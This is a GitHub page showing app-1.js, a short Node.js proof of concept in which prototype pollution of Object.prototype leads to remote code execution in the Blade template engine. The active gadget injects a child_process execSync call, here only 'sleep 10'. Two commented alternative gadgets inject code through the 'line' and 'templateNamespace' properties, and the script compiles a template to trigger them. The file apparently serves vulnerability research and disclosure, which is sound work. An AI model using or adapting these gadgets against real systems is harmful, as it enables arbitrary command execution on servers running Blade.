-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathapp-1.js
32 lines (26 loc) · 982 Bytes
/
app-1.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
const blade = require('blade');
Object.prototype.code = "global.process.mainModule.require('child_process').execSync('sleep 10')"
Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316
// gadget 2
// Object.prototype.line = '1\nconsole.log("RCE!")\n'
// Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316
// gadget 3
// Object.prototype.templateNamespace = "[__=console.log('rce')?'':{}]"
// Object.prototype.value = "somevalue" // helper property, bladejs/lib/parser/index.js::1316
const template = `html
head
title Blade
body
#nav
ul
- for(var i in nav)
li
a(href=nav[i])= i
#content.center
h1 Blade is cool`;
blade.compile(template, {'debug': true}, function(err, tmpl) {
console.log(err);
tmpl({'nav': []}, function(err, html) {
console.log(html, err);
});
});